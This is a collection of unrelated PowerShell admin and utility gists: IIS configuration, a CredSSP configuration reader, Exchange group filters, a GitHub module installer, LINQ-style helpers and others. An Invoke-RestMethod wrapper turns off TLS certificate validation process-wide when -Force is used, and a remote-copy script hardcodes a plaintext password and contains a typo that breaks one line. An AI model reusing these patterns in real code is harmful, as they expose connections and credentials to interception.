$wantedFeatures Import-Module WebAdministration if( $logsDirectory ) { Write-Host "Configuring site defaults logging settings to point out base directory $logsDirectory" $logFilesDir = join-path $logsDirectory "LogFiles" $frebFilesDir = join-path $logsDirectory "FailedReqLogFiles" if(!(Test-Path $logFilesDir)) { mkdir $logFilesDir | Out-Null } if(!(Test-Path $frebFilesDir)) { mkdir $frebFilesDir | Out-Null } Set-WebConfigurationProperty "/system.applicationHost/sites/siteDefaults" -pspath IIS:\ -name logfile.directory -value $logFilesDir Set-WebConfigurationProperty "/system.applicationHost/sites/siteDefaults" -pspath IIS:\ -name traceFailedRequestsLogging.directory -value $frebFilesDir } # error handling routine for error that only occurs when you are trying to do this on a server with high load. (Pro tip: Already checked MaxMbPerShell prop of wsman shell settings!) function applyConfigWithRetry( [ScriptBlock] $sb ) { $done = $false do { try { & $sb $done = $true } catch { if( $_.Exception.Message -notlike "*HRESULT: 0x800700B7*" -and $_.Exception.Message -notlike "*HRESULT: 0x80070008*" -and $_.Exception.Message -notlike "*error: 800705af*" ) { throw $_ } sleep -Milliseconds 500 } } while( !$done ) } # http://stackoverflow.com/questions/2203798/in-iis7-gzipped-files-do-not-stay-that-way applyConfigWithRetry { Set-WebConfigurationProperty "/system.webServer/serverRuntime" -pspath IIS:\ -name frequentHitThreshold -value 1 } applyConfigWithRetry { Set-WebConfigurationProperty "/system.webServer/urlCompression" -pspath IIS:\ -name doStaticCompression -value "true" } applyConfigWithRetry { Set-WebConfigurationProperty "/system.webServer/urlCompression" -pspath IIS:\ -name doDynamicCompression -value "true" } applyConfigWithRetry { Set-WebConfigurationProperty "/system.webServer/httpCompression" -pspath IIS:\ -name minFileSizeForComp -value 1024 } if( $compressionDirectory ) { applyConfigWithRetry { Set-WebConfigurationProperty "/system.webServer/httpCompression" -pspath IIS:\ -name directory -value $compressionDirectory } } applyConfigWithRetry { Set-WebConfigurationProperty "/system.webServer/httpCompression/scheme[@name='gzip']" -pspath IIS:\ -name staticCompressionLevel -value 9 } applyConfigWithRetry { Set-WebConfigurationProperty "/system.webServer/httpCompression/scheme[@name='gzip']" -pspath IIS:\ -name dynamicCompressionLevel -value 4 } applyConfigWithRetry { clear-webconfiguration -filter "/system.webServer/httpCompression/dynamicTypes/add[@mimeType='application/xml']" -pspath IIS: -WarningAction SilentlyContinue add-webconfiguration "/system.webServer/httpCompression/dynamicTypes" -pspath IIS:\ -value (@{mimeType="application/xml";enabled="true"}) } applyConfigWithRetry { clear-webconfiguration -filter "/system.webServer/httpCompression/dynamicTypes/add[@mimeType='application/json']" -pspath IIS: -WarningAction SilentlyContinue add-webconfiguration "/system.webServer/httpCompression/dynamicTypes" -pspath IIS:\ -value (@{mimeType="application/json";enabled="true"}) }
PowerShellCorpus/GithubGist/victorvogelpoel_9328904_raw_a1fd899261cd0a5dc82b0e6c9e1c67607151fab4_Get-WSManCredSSPConfiguration.ps1
victorvogelpoel_9328904_raw_a1fd899261cd0a5dc82b0e6c9e1c67607151fab4_Get-WSManCredSSPConfiguration.ps1
# Get-WSManCredSSPConfiguration.ps1 # Compile a WSManCredSSP configuration object for the local or remote computer # Inspired by http://www.ravichaganti.com/blog/?p=1902 # http://blog.victorvogelpoel.nl/2014/03/03/powershell-get-wsmancredsspconfiguration-getting-credssp-configuration-for-local-or-remote-computers/ # # Disclaimer # This script is provided AS IS without warranty of any kind. I disclaim all implied # warranties including, without limitation, any implied warranties of merchantability # or of fitness for a particular purpose. The entire risk arising out of the use or # performance of the sample scripts and documentation remains with you. In no event # shall I be liable for any damages whatsoever (including, without limitation, damages # for loss of business profits, business interruption, loss of business information, # or other pecuniary loss) arising out of the use of or inability to use the script or # documentation. # # Oct 2013 # If this works, Ravikanth Chaganti and Victor Vogelpoel <[email protected]> wrote this. # If it doesn't, I don't know who wrote this. #requires -version 3 Set-PSDebug -Strict Set-StrictMode -Version Latest # NOTE: if using credentials, make sure to use DOMAIN\ACCOUNT format for username! function Get-WSManCredSSPConfiguration { [CmdletBinding()] param ( [Parameter(Mandatory=$false, position=0, ValueFromPipeLine=$true, ValueFromPipeLineByPropertyName=$true, HelpMessage="Computers to get the CredSSP configuration for")] [String[]]$computerName = "localhost", [Parameter(Mandatory=$false, Position=1, ValueFromPipelineByPropertyName=$true, HelpMessage="Credential to connect to the computers with")] [Management.Automation.PSCredential]$Credential ) begin { function Test-ElevatedProcess { return (New-Object Security.Principal.WindowsPrincipal -ArgumentList ([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole( [Security.Principal.WindowsBuiltInRole]::Administrator ) } function Resolve-FQDNHostName { [CmdletBinding()] param ( [Parameter(Mandatory=$false, position=0, ValueFromPipeLine=$true, ValueFromPipeLineByPropertyName=$true, HelpMessage="TODO")] [Alias('CN','__SERVER', 'Server', 'Hostname')] [String[]]$ComputerName = "localhost" ) process { foreach ($comp in $ComputerName) { try { if ($comp -eq ".") { $comp = "localhost" } Write-Output ([System.Net.Dns]::GetHostByName($comp).HostName) } catch { throw "ERROR while resolving server `"$comp`": $($_.Exception.Message)" } } } } if (!(Test-ElevatedProcess)) { throw "ERROR: WSManCredSSPConfiguration can only be used in an elevated PowerShell session." } $localComputer = Resolve-FQDNHostName } process { foreach ($computer in $computerName) { $computer = Resolve-FQDNHostName -ComputerName $computer $credsspConfig = $null if ($computer -eq $localComputer) { $credsspConfig = New-Object -TypeName PSObject $credsspConfig | Add-Member -MemberType NoteProperty -Name "computerName" -Value $computer $credsspConfig | Add-Member -MemberType NoteProperty -Name "IsServer" -Value $false $credsspConfig | Add-Member -MemberType NoteProperty -Name "IsClient" -Value $false $credsspConfig | Add-Member -MemberType NoteProperty -Name "AllowFreshCredentials" -Value "NA" $credsspConfig | Add-Member -MemberType NoteProperty -Name "ClientDelegateComputer" -Value "" if ($Credential) { $wsmanTest = Test-WSMan -Credential $Credential -ErrorAction SilentlyContinue } else { $wsmanTest = Test-WSMan -ErrorAction SilentlyContinue } if ($wsmanTest) { $isServer = ((Get-Item WSMan:\LocalHost\Service\Auth\CredSSP).Value -eq "true") $isClient = ((Get-Item WSMan:\LocalHost\Client\Auth\CredSSP).Value -eq "true") $credsspConfig.IsServer = $isServer $credsspConfig.IsClient = $isClient if ($isClient -and (Test-Path HKLM:\software\policies\microsoft\windows\CredentialsDelegation\AllowFreshCredentials)) { $credsspConfig.AllowFreshCredentials = (Get-ItemProperty HKLM:\software\policies\microsoft\windows\CredentialsDelegation).AllowFreshCredentials # Extract registry values for 1,2,3,... from HKLM:\software\policies\microsoft\windows\CredentialsDelegation\AllowFreshCredentials, which are the delegate computers from "Enable-WSMANCredSSP -role client -delegatecomputer" $delegateComputers = @((Get-ItemProperty HKLM:\software\policies\microsoft\windows\CredentialsDelegation\AllowFreshCredentials).psobject.Properties | where { $_.Name -match "\d+" } | select -expand value | foreach { if ($_ -like "wsman/*") { $_.substring(6) } else { $_ } }) # Store delegatecomputers in the custom object $credsspConfig.ClientDelegateComputer = $delegateComputers } } else { throw "Could not connect to WSMAN; is the WinRM service running on `"$computer`"? Run `"WinRM quickconfig -force`"!" } } else { if (Test-WSMan -ComputerName $computer -ErrorAction SilentlyContinue) # Note: does NOT take -Credential, otherwise error "flagged with no authentication" { $credsspConfig = New-Object -TypeName PSObject $credsspConfig | Add-Member -MemberType NoteProperty -Name "computerName" -Value $computer $credsspConfig | Add-Member -MemberType NoteProperty -Name "IsServer" -Value $false $credsspConfig | Add-Member -MemberType NoteProperty -Name "IsClient" -Value $false $credsspConfig | Add-Member -MemberType NoteProperty -Name "AllowFreshCredentials" -Value "NA" $credsspConfig | Add-Member -MemberType NoteProperty -Name "ClientDelegateComputer" -Value "" try { $WSManConnected = $false if ($Credential) { Connect-WSMan -ComputerName $computer -Credential $Credential -ErrorAction SilentlyContinue } else { Connect-WSMan -ComputerName $computer -ErrorAction SilentlyContinue } $WSManConnected = $true $isServer = ((Get-Item "WSMan:\$($computer)\Service\Auth\CredSSP").Value -eq "true") $isClient = ((Get-Item "WSMan:\$($computer)\Client\Auth\CredSSP").Value -eq "true") $credsspConfig.IsServer = $isServer $credsspConfig.IsClient = $isClient #Write-Verbose "WSMan:\$($computer)\Client\Auth\CredSSP" if ($isClient) { # Start collecting the CredSSP client role configuration on the remote computer by querying the registry remotely (using WMI) $reg = $null try { if ($Credential) { # Get the WMI registry provider using credentials $reg = Get-WmiObject -List -Namespace root\default -ComputerName $computer -Credential $Credential | Where-Object {$_.Name -eq "StdRegProv"} } else { # Get the WMI registry provider using current credentials $reg = Get-WmiObject -List -Namespace root\default -ComputerName $computer | Where-Object {$_.Name -eq "StdRegProv"} } $HKLM = 2147483650 $allowFreshCredentials = $reg.GetDWORDValue($HKLM, "SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation", "AllowFreshCredentials").uValue if ($allowFreshCredentials -ne $null) { $credsspConfig.AllowFreshCredentials = $allowFreshCredentials # Query the delegate computers from the registry $delegateComputers = $reg.EnumValues($HKLM, "SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowFreshCredentials").sNames | foreach { $delegateComputer = $reg.GetStringValue($HKLM, "SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowFreshCredentials", $_).sValue if ($delegateComputer -like "wsman/*") { $delegateComputer.substring(6) } else { $delegateComputer } } # Add the found delegate computers to the configuration object! $credsspConfig.ClientDelegateComputer = $delegateComputers } } catch { throw "ERROR while reading remote registry on computer `"$computer`": $($_.Exception.Message)" $credsspConfig.AllowFreshCredentials = "ERROR" } } } catch { $exMessage = $_.Exception.Message $advise = "" if ($exMessage -like "Access is denied.*" -or $exMessage -like "The user name or password is incorrect*") { $advise = "Please supply proper credentials." } throw "ERROR while connecting to WSMAN on $computer or gathering CredSSP information: `"$exMessage`". $advise" } finally { if ($WSManConnected) { Disconnect-WSMan -ComputerName $computer } } } else { throw "ERROR: could not connect to WSMAN on `"$computer`"? Is WinRM service running? Run `"WinRM quickconfig -force`" on this computer!" } } Write-Output $credsspConfig } } <# .SYNOPSIS Retrieves the CredSSP configuration for the local or remote computers. .DESCRIPTION Get-WSManCredSSPConfiguration retrieves CredSSP configuration for one or more computers and returns the configuration as a custom PS object: computerName computer for this configuration IsServer Has the computer the CredSSP server role? IsClient Has the computer the CredSSP client role? AllowFreshCredentials Value of the Allow Fresh Credentials ClientDelegateComputer If client role enabled, this holds the array of computers where the computer can delegate credentials to. Get-WSManCredSSPConfiguration connects to other computers with either current credentials or the specified credentials. These credentials must have administrative privileges. WSMan must have been enabled on the computers in order to connect. .PARAMETER ComputerName When specified, one or more computers to get the CredSSP configuration for. (Get-WSManCredSSPConfiguration connects to other computers with either current credentials or the specified credentials.) Wen not specified, the CredSSP configuration for the current computer is returned. .PARAMETER Credential When specified, this is the credential that is used to connect to other computers. .EXAMPLE PS> Get-WSManCredSSPConfiguration Gets the CredSSP configuration for the local computer, for example: computerName : laptop01.domain.com IsServer : False IsClient : True AllowFreshCredentials : 1 ClientDelegateComputer : {server01.domain.com, server02.domain.com} .EXAMPLE PS> Get-WSManCredSSPConfiguration -computername server01.domain.com Connects to server01.domain.com with current credentials and gets the CredSSP configuration: computerName : server01.domain.com IsServer : True IsClient : false AllowFreshCredentials : NA ClientDelegateComputer : .EXAMPLE PS> Get-WSManCredSSPConfiguration -computername server01.domain.com -credential $admincred Connects to server01.domain.com with the credentials $admincred and gets the CredSSP configuration: computerName : server01.domain.com IsServer : True IsClient : false AllowFreshCredentials : NA ClientDelegateComputer : .EXAMPLE PS> Get-WSManCredSSPConfiguration | select -expand ClientDelegateComputer Gets the CredSSP configuration for the local computer and returns the array of computers for which the local computer may delegate credentials: server01.domain.com server02.domain.com .NOTES Author: Victor Vogelpoel Date: Oct 2013 Inspired by: http://www.ravichaganti.com/blog/?p=1902 IMPORTANT: Get-WSManCredSSPConfiguration must be invoked in an elevated PowerShell session. Start PowerShell session with "Run-as administrator" .LINK Get-WSManCredSSP See Victor's blogpost about Get-WSManCredSSPConfiguration: http://blog.victorvogelpoel.nl/2014/03/03/powershell-get-wsmancredsspconfiguration-getting-credssp-configuration-for-local-or-remote-computers/ Scripting guys about CredSSP: http://blogs.technet.com/b/heyscriptingguy/archive/2012/11/14/enable-powershell-quot-second-hop-quot-functionality-with-credssp.aspx #> } # Get-WSManCredSSPConfiguration -computerName server01.domain.com -Credential (Get-Credential) -Verbose # Get-WSManCredSSPConfiguration $env:COMPUTERNAME # Get-WSManCredSSPConfiguration -Verbose
PowerShellCorpus/GithubGist/su324749_5030fd370ee79faca120_raw_a8177c1febd2ee021d18b089f9003697a1dff818_test.ps1
su324749_5030fd370ee79faca120_raw_a8177c1febd2ee021d18b089f9003697a1dff818_test.ps1
# % gal -def foreach-object # # CommandType Name Definition # ----------- ---- ---------- # Alias % ForEach-Object # Alias foreach ForEach-Object foreach ($i in 1..9) { foreach ($j in 1..9 ) { write-host ("{0:00}" -f ($i*$j)).padright(3, " ") -nonewline } write-host } 1..9 | % { $i = $_; "$( 1..9 | % { "{0:000}" -f ($_*$i) } )" } 1..9 | % { $i = $_; "$( 1..9 | % { ("{0:000}" -f ($_ * $i)).padleft(4, "+") })" }
PowerShellCorpus/GithubGist/jprescottsanders_8640185_raw_462b26b5126ac2a501aeffababb6f45b77f0734a_gistfile1.ps1
jprescottsanders_8640185_raw_462b26b5126ac2a501aeffababb6f45b77f0734a_gistfile1.ps1
# New dynamic distro New-DynamicDistributionGroup -Name "Directors" -PrimarySmtpAddress "[email protected]" -RecipientFilter {(Title -eq 'Director' -or Title -eq 'VP' -or Title -eq 'Executive VP') -and (samaccountname -ne 'person1' -and samaccountname -ne 'person2') } # Check the members of a dynamic distro $FTE = Get-DynamicDistributionGroup "Directors" Get-Recipient -RecipientPreviewFilter $FTE.RecipientFilter # AD Filter Validation get-aduser -Filter {(Title -eq 'Director' -or Title -eq 'VP' -or Title -eq 'Executive VP') -and (samaccountname -ne 'person1' -and samaccountname -ne 'person2') } | select samaccountname | ft
PowerShellCorpus/GithubGist/dfinke_4107451_raw_f2e3cb72ade529f7748d5e3f0838b549155b0639_GetAcquistion.ps1
dfinke_4107451_raw_f2e3cb72ade529f7748d5e3f0838b549155b0639_GetAcquistion.ps1
# http://developer.crunchbase.com/page function Get-Acquisition { param( [Parameter(ValueFromPipeLine)] $company = "facebook" ) Process { $url = "http://api.crunchbase.com/v/1/company/$($company).js" (Invoke-RestMethod $url).acquisitions | Select @{Name="Description"; Expression={$_.source_description}}, @{Name="Date"; Expression={ New-Object DateTime($_.acquired_year, $_.acquired_month, $_.acquired_day) }} } } cls function ql {$args} ql facebook microsoft ibm | Get-Acquisition
PowerShellCorpus/GithubGist/stefanstranger_2138dc710576bc40b64b_raw_bfd25a0e7363e9a1906908b0695ebcffaa508276_InstallMyTwitterModule.ps1
stefanstranger_2138dc710576bc40b64b_raw_bfd25a0e7363e9a1906908b0695ebcffaa508276_InstallMyTwitterModule.ps1
$webclient = New-Object System.Net.WebClient $url = "https://github.com/MyTwitter/MyTwitter/archive/master.zip" Write-Host "Downloading latest version of MyTwitter from $url" -ForegroundColor Cyan $file = "$($env:TEMP)\MyTwitter.zip" $webclient.DownloadFile($url,$file) Write-Host "File saved to $file" -ForegroundColor Green $targetondisk = "$($env:USERPROFILE)\Documents\WindowsPowerShell\Modules" New-Item -ItemType Directory -Force -Path $targetondisk | out-null $shell_app=new-object -com shell.application $zip_file = $shell_app.namespace($file) Write-Host "Uncompressing the Zip file to $($targetondisk)" -ForegroundColor Cyan $destination = $shell_app.namespace($targetondisk) $destination.Copyhere($zip_file.items(), 0x10) Write-Host "Renaming folder" -ForegroundColor Cyan Rename-Item -Path ($targetondisk+"\MyTwitter-master") -NewName "MyTwitter" -Force Write-Host "Module has been installed" -ForegroundColor Green Import-Module -Name MyTwitter Get-Command -Module MyTwitter
PowerShellCorpus/GithubGist/urasandesu_2944313_raw_10dc3b74e14787b4d7a871b140dd60ea4aecdaf5_PowerShellAsLinq.ps1
urasandesu_2944313_raw_10dc3b74e14787b4d7a871b140dd60ea4aecdaf5_PowerShellAsLinq.ps1
# ---------------------------------------------------------------------------------------------------------- # PowerShell as LINQ # * When I created this snippet, the blog written by NyaRuRu-san was very helpful. # I would like to thank him for his article: # - PowerShell で LINQ - NyaRuRuの日記: http://d.hatena.ne.jp/NyaRuRu/20080112/p2 # # Change History # * 2012/06/20 07:23:24: Fix the bug that occurs unintended pipeline breaking. # The keyword 'return' is reserved, so I use the function name 'run' instead of it. # * 2012/06/23 22:26:47: Fix the bug that function 'run' doesn't stop enumeration. # Add function 'flatten' that makes the list flat. # Add function 'first'. It is shortcut equivalent to 'take 1'. # ---------------------------------------------------------------------------------------------------------- function __extract__([Collections.IEnumerator]$enum) { foreach ($val in $enum) { $block = $val -as [scriptblock] if ($block -eq $null) { throw New-Object ArgumentException('The pipeline source object must be a scriptblock.') } break } $block } function repeat([scriptblock]$init) { { $elem = &$init try { while ($true) { ,$elem } } finally { $disp = $elem -as [IDisposable] if ($disp -ne $null) { $disp.Dispose() } } }.GetNewClosure() } function take([int]$count) { $block = __extract__ $input { $count = $count &$block | %{ if ($i++ -ge $count) { break } ,$_ }.GetNewClosure() }.GetNewClosure() } function map([scriptblock]$func) { $block = __extract__ $input { $func = $func &$block | %{ ,(&$func $_) }.GetNewClosure() }.GetNewClosure() } function flatten([scriptblock]$func) { $block = __extract__ $input { $func = $func &$block | %{ &$func $_ | %{,$_} }.GetNewClosure() }.GetNewClosure() } function filter([scriptblock]$func) { $block = __extract__ $input { $func = $func &$block | %{ if (&$func $_) { ,$_ } }.GetNewClosure() }.GetNewClosure() } function takeWhile([scriptblock]$func) { $block = __extract__ $input { $func = $func &$block | %{ if (&$func $_) { ,$_ } else { break } }.GetNewClosure() }.GetNewClosure() } function first { __extract__ $input | take 1 } function run { do { &(__extract__ $input) } until ($true) } # ---------------------------------------------------------------------------------------------------------- # Usage # ---------------------------------------------------------------------------------------------------------- # dump win.ini repeat {New-Object IO.StreamReader 'C:\Windows\win.ini'} | map {param($_1) $_1.ReadLine()} | takeWhile {param($_1) $_1 -ne $null} | run # the sample results are as follows: # # ; for 16-bit app support # [fonts] # [extensions] # [mci extensions] # [files] # [Mail] # MAPI=1 # CMCDLLNAME32=mapi32.dll # CMC=1 # MAPIX=1 # MAPIXVER=1.0.0.1 # OLEMessaging=1 # [MCI Extensions.BAK] # 3g2=MPEGVideo # 3gp=MPEGVideo # 3gp2=MPEGVideo # 3gpp=MPEGVideo # aac=MPEGVideo # adt=MPEGVideo # adts=MPEGVideo # m2t=MPEGVideo # m2ts=MPEGVideo # m2v=MPEGVideo # m4a=MPEGVideo # m4v=MPEGVideo # mod=MPEGVideo # mov=MPEGVideo # mp4=MPEGVideo # mp4v=MPEGVideo # mts=MPEGVideo # ts=MPEGVideo # tts=MPEGVideo # get 5 random numbers of one digit. repeat {New-Object Random} | map {param($_1) $_1.Next(0, 10)} | take 5 | run # the sample results are as follows: # # 4 # 8 # 6 # 8 # 5 # countdown for 10 seconds $last = 0 repeat {(Get-Date).AddSeconds(10.0)} | map {param($_1) $_1 - (Get-Date)} | takeWhile {param($_1) $_1.TotalSeconds -gt 0} | run | %{if ($last -ne $_.Seconds){$last = $_.Seconds; $_.Seconds}} # the sample results are as follows(NOTE: each object will be displayed every second): # # 9 # 8 # 7 # 6 # 5 # 4 # 3 # 2 # 1 # 0 # enumerate each first type in each assembly from current AppDomain {[AppDomain]::CurrentDomain.GetAssemblies()} | flatten {param($asm) {$asm.GetTypes()} | first | map {param($t) $t.AssemblyQualifiedName} | run} | run # the sample results are as follows: # # System.Object, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 # AssemblyStrings, Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 # FXAssembly, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 # System.Management.Automation.ChildItemCmdletProviderIntrinsics, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 # Microsoft.PowerShell.Commands.GetWinEventCommand, Microsoft.PowerShell.Commands.Diagnostics, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 # Microsoft.Contracts.PureAttribute, System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 # FXAssembly, System.Configuration.Install, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a # Microsoft.WSMan.Management.WSManConfigProvider, Microsoft.WSMan.Management, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 # System.Transactions.SRDescriptionAttribute, System.Transactions, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 # Microsoft.PowerShell.Commands.Internal.Format.FrontEndCommandBase, Microsoft.PowerShell.Commands.Utility, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 # Microsoft.PowerShell.Commands.CoreCommandBase, Microsoft.PowerShell.Commands.Management, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 # Microsoft.PowerShell.Commands.SecurityDescriptorCommandsBase, Microsoft.PowerShell.Security, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 # FXAssembly, System.Xml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 # System.Management.SRDescriptionAttribute, System.Management, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a # FXAssembly, System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a # SNINativeMethodWrapper, System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 # FXAssembly, System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a # System.Security.SecurityResources, System.Security, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a # System.Xml.Utils.ResDescriptionAttribute, System.Data.SqlXml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
PowerShellCorpus/GithubGist/marcusalmgren_2145630_raw_177d8d7f65455b7fc0520200f8525bdbbe51a12d_WPImageNameNormalize.ps1
marcusalmgren_2145630_raw_177d8d7f65455b7fc0520200f8525bdbbe51a12d_WPImageNameNormalize.ps1
# When you sync your images and videos from your Windows Phone to your computer, the files are # annoyingly named using different conventions. For example, an image file will be named "WP_000123.jpg" # and a video file "WP_yyyyMMdd_HHmmss.mp4". So, when viewing the files in Windows Explorer, it's # unnecessarily hard to order them in chronological order. # Well, no more. This powershell script will make a copy of all your image files and name them using # the EXIF data and the same naming conventions as for videos. And voilá: easily sortable in Windows Explorer. # # USAGE: # Just fire up powershell and paste this script at the prompt. Example: # # PS C:\Users\me\Pictures\From My Windows Phone\Camera roll> # # [reflection.assembly]::loadfile( "C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.Drawing.dll") # $files = Get-ChildItem -recurse -filter *.jpg # foreach($file in $files){ # $image = New-Object -Typename System.Drawing.Bitmap -ArgumentList $file.fullname # $exifDateTaken = [System.Text.Encoding]::ASCII.GetString($image.getpropertyitem(36867).value) # $newFileName = "WP_" + $exifDateTaken.substring(0,19).replace(":", "").replace(" ", "_") + "Z.jpg" # Copy-Item $file.name $newFileName # Write-Host ($file.name + " -> " + $newFileName) # } # # # WP_000602.jpg -> WP_20120107_140717.jpg # WP_000604.jpg -> WP_20120107_140841.jpg # WP_000605.jpg -> WP_20120107_140846.jpg # WP_000606.jpg -> WP_20120107_140851.jpg # WP_000609.jpg -> WP_20120107_142325.jpg # WP_000610.jpg -> WP_20120107_142329.jpg # etc... [reflection.assembly]::loadfile( "C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.Drawing.dll") $files = Get-ChildItem -recurse -filter *.jpg foreach($file in $files){ $image = New-Object -Typename System.Drawing.Bitmap -ArgumentList $file.fullname $exifDateTaken = [System.Text.Encoding]::ASCII.GetString($image.getpropertyitem(36867).value) $newFileName = "WP_" + $exifDateTaken.substring(0,19).replace(":", "").replace(" ", "_") + ".jpg" Copy-Item $file.name $newFileName Write-Host ($file.name + " -> " + $newFileName) }
PowerShellCorpus/GithubGist/n-fukuju_8487308_raw_8e2470303ca1215cf395b971bd2d6433188c7118_progress.ps1
n-fukuju_8487308_raw_8e2470303ca1215cf395b971bd2d6433188c7118_progress.ps1
$header = @" プログレスバーサンプル "@ Write-Output $header $loop = $true while($loop){ $userInput = Read-Host "[1]一本バー [2]二本バー [3] とりあえず待機 [他]終了" switch($userInput){ 1{ # 一本バーサンプル # -PercentCompleteは、0〜100で。(うっかり0.01〜1にすると、期待通りに動作しない) foreach($i in (1..10)){ Write-Progress "サンプル" -Status "なにがしか進捗中" -PercentComplete ($i * 10) Start-Sleep -Milliseconds 300 } } 2{ # 二本バーサンプル # 二本以上の場合、IDを指定すること。でないと、バーが重なって見えなくなる。 $outerLoop = 1 $innerLoop = 2 foreach($i in (0..9)){ Write-Progress -Id $outerLoop "サンプル" -Status "進捗中" -PercentComplete ($i * 10) foreach($j in (1..10)){ Write-Progress -Id $innerLoop "サンプル" -Status "詳細ステータス" -PercentComplete ($j * 10) -CurrentOperation "○○処理中" Start-Sleep -Milliseconds 100 } } } 3{ # ステータスだけ # 進捗状況は割り出せないけど、待機状態をユーザに表示したい時などに Write-Progress "サンプル" -Status "初期化中" # なんか長い処理 Start-Sleep -Seconds 2 # -Completeを指定すると画面には表示されないけども、コード上でプログレスバーの終了を明示したい時などに Write-Progress "サンプル" -Status "初期化おわり" -Complete Start-Sleep -Seconds 1 } default{ $loop = $false } } }
PowerShellCorpus/GithubGist/ploegert_b1919f0f31c544707bfc_raw_99e4a8bbbb8d003084338813e27773adafbc3a8a_PSRemote-CopyFiles.ps1
ploegert_b1919f0f31c544707bfc_raw_99e4a8bbbb8d003084338813e27773adafbc3a8a_PSRemote-CopyFiles.ps1
#Get the Remote URL $uri = Get-AzureWinRMUri -ServiceName $AzureServiceName -Name $AzVM srvuser = "DOMAIN\USER" $srvpass = "Password" #create the credential for the remote service $log.debug("Creating credential for the Remote Session..") $passwordCred = ConvertTo-SecureString -AsPlainText $srvpass -Force $credentials = New-Object System.Management.Automation.PSCredential ($srvuser, $passwordCred) $list = @{ "C:\Posh\Assert-BaseImagePreReqs.ps1" = Get-Content "C:\posh\Deploy-Base\scripts\Assert-BaseImagePreReqs.ps1"; "C:\Posh\azure.qa.xml" = (Get-Content "C:\posh\Deploy-Base\azure.qa.xml"); "C:\Tools\Get-PanoptixInstall.ps1" = (Get-Content "C:\posh\Deploy-Base\scripts\Get-PanoptixInstall.ps1")} Invoke-Command -ConnectionUri $uri -Credential $credentials -ArgumentList $list -ScriptBlock { param($list) $WorkingDirectory = "C:\Posh" if(!(test-path $WorkingDirectory)) { New-Item c:\Posh -type directory } else { write-host "Directory Already Exists."} if(!(test-path "c:\Tools")) { New-Item c:\Tools -type directory; New-Item c:\Tools\_deploy -type directory; } foreach ($i in $list.GetEnumerator()) { Write-host "Key: $($i.Name)" $destPath = $($i.Name) $destContent = $($i.Value) Set-Content -Path $destPath -Value $destContent if (!(Test-path $destPath)) {Throw "Could not copy $destPath!!!"} } write-host "Invoking Command..." set-location $WorkingDirectory #. (join-path $WorkingDirectory "Assert-BaseImagePreReqs.ps1") -envConfigFile (join-path $WorkingDirectory "azure.qa.xml") $env:COMPUTERNAME write-host "End of Execution" -foregroundcolor yellow }
PowerShellCorpus/GithubGist/mwjcomputing_4688957_raw_cdbbb69b8e94c1044717795fd4c27a1247f17e80_Invoke-RestMethod.ps1
mwjcomputing_4688957_raw_cdbbb69b8e94c1044717795fd4c27a1247f17e80_Invoke-RestMethod.ps1
function Invoke-RestMethod { [CmdletBinding(HelpUri='http://go.microsoft.com/fwlink/?LinkID=217034')] param( [Microsoft.PowerShell.Commands.WebRequestMethod] ${Method}, [Parameter(Mandatory=$true, Position=0)] [ValidateNotNullOrEmpty()] [uri] ${Uri}, [Microsoft.PowerShell.Commands.WebRequestSession] ${WebSession}, [Alias('SV')] [string] ${SessionVariable}, [pscredential] ${Credential}, [switch] ${UseDefaultCredentials}, [ValidateNotNullOrEmpty()] [string] ${CertificateThumbprint}, [ValidateNotNull()] [System.Security.Cryptography.X509Certificates.X509Certificate] ${Certificate}, [string] ${UserAgent}, [switch] ${DisableKeepAlive}, [int] ${TimeoutSec}, [System.Collections.IDictionary] ${Headers}, [ValidateRange(0, 2147483647)] [int] ${MaximumRedirection}, [uri] ${Proxy}, [pscredential] ${ProxyCredential}, [switch] ${ProxyUseDefaultCredentials}, [Parameter(ValueFromPipeline=$true)] [System.Object] ${Body}, [string] ${ContentType}, [ValidateSet('chunked','compress','deflate','gzip','identity')] [string] ${TransferEncoding}, [string] ${InFile}, [string] ${OutFile}, [switch] ${PassThru}, [switch] ${Force}) begin { if ($force) { [Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } } try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Invoke-RestMethod', [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters } $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } <# .ForwardHelpTargetName Invoke-RestMethod .ForwardHelpCategory Cmdlet #> }
